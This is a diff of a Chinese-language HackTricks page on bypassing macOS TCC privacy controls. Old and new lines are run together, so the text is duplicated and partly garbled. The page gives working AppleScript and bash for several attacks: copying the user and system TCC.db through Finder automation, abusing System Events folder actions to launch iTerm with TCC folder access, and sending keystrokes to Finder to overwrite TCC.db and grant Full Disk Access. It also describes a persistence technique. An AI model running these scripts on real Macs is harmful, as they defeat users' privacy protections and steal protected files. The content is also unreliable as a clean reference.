{% tab title="窃取用户的TCC.db" %} {% tab title="窃取用户的 TCC.db" %}
```applescript ```applescript
# This AppleScript will copy the system TCC database into /tmp # This AppleScript will copy the system TCC database into /tmp
osascript<<EOD osascript<<EOD
@ -364,7 +364,7 @@ EOD
``` ```
{% endtab %} {% endtab %}
{% tab title="窃取系统 TCC.db" %} {% tab title="窃取系统 TCC.db" %}
```applescript ```applescript
osascript<<EOD osascript<<EOD
tell application "Finder" tell application "Finder"
@ -385,9 +385,9 @@ EOD
您可以利用这一点**编写您自己的用户TCC数据库**。 您可以利用这一点**编写您自己的用户TCC数据库**。
{% hint style="warning" %} {% hint style="warning" %}
拥有这个权限,您将能够**请求finder访问受TCC限制的文件夹**并将文件给您,但据我所知,您**无法使Finder执行任意代码**以完全利用它的FDA访问权限。 拥有这个权限,您将能够**要求Finder访问受TCC限制的文件夹**并将文件提供给您,但据我所知,您**无法使Finder执行任意代码**以充分利用其FDA访问权限。
因此,您将无法完全利用FDA的能力 因此,您将无法充分利用FDA的功能
{% endhint %} {% endhint %}
这是获取对Finder自动化权限的TCC提示 这是获取对Finder自动化权限的TCC提示
@ -422,13 +422,56 @@ EOD
``` ```
</details> </details>
同样的情况发生在 **Script Editor 应用程序**,它可以控制 Finder但使用 AppleScript 你不能强制它执行脚本。 同样的情况也发生在**Script Editor app,** 它可以控制Finder但使用AppleScript你不能强制它执行脚本。
### 自动化 + 辅助功能(**`kTCCServicePostEvent`**)到 FDA\* ### 自动化 (SE) 到某些TCC
**`System Events`** 上的自动化 + 辅助功能(**`kTCCServicePostEvent`**)允许向进程发送 **按键指令**。通过这种方式,你可以滥用 Finder 来更改用户的 TCC.db 或者给任意应用程序授权 FDA尽管这样做可能会提示输入密码 系统事件可以创建文件夹操作而文件夹操作可以访问一些TCC文件夹因此可以使用如下脚本来滥用这种行为
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("/Applications/iTerm.app/Contents/MacOS/iTerm2");
EOD
Finder 覆盖用户 TCC.db 的示例: osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"
# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true
-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"
-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath
-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if
-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD
# Open the folder, this won't be enough, but just getting out of it, or getting it is enough to trigger the folder action script
open "$HOME/Desktop"
```
### 自动化 (SE) + 辅助功能 (**`kTCCServicePostEvent`)** 至 FDA\*
**`系统事件`** 上的自动化 + 辅助功能 (**`kTCCServicePostEvent`**) 允许向进程发送 **按键指令**。通过这种方式,你可以滥用 Finder 来更改用户的 TCC.db 或者给任意应用授权完全磁盘访问权限(尽管这样做可能会提示输入密码)。
以下是 Finder 覆写用户 TCC.db 的示例:
```applescript ```applescript
-- store the TCC.db file to copy in /tmp -- store the TCC.db file to copy in /tmp
osascript <<EOF osascript <<EOF
@ -490,7 +533,7 @@ EOF
### **FDA到TCC权限** ### **FDA到TCC权限**
**全盘访问权限**在TCC中的名称是 **`kTCCServiceSystemPolicyAllFiles`** **盘访问**在TCC中的名称是 **`kTCCServiceSystemPolicyAllFiles`**
我不认为这是一个真正的权限提升但以防你发现它有用如果你控制了一个有FDA的程序你可以**修改用户的TCC数据库并给自己任何访问权限**。这可以作为一个持久性技术以防你可能失去你的FDA权限。 我不认为这是一个真正的权限提升但以防你发现它有用如果你控制了一个有FDA的程序你可以**修改用户的TCC数据库并给自己任何访问权限**。这可以作为一个持久性技术以防你可能失去你的FDA权限。
@ -553,8 +596,8 @@ AllowApplicationsList.plist
* 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 你在**网络安全公司**工作吗?你想在**HackTricks**看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。 * 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。 * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。** * **通过提交 PR 到** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享你的黑客技巧。**
</details> </details>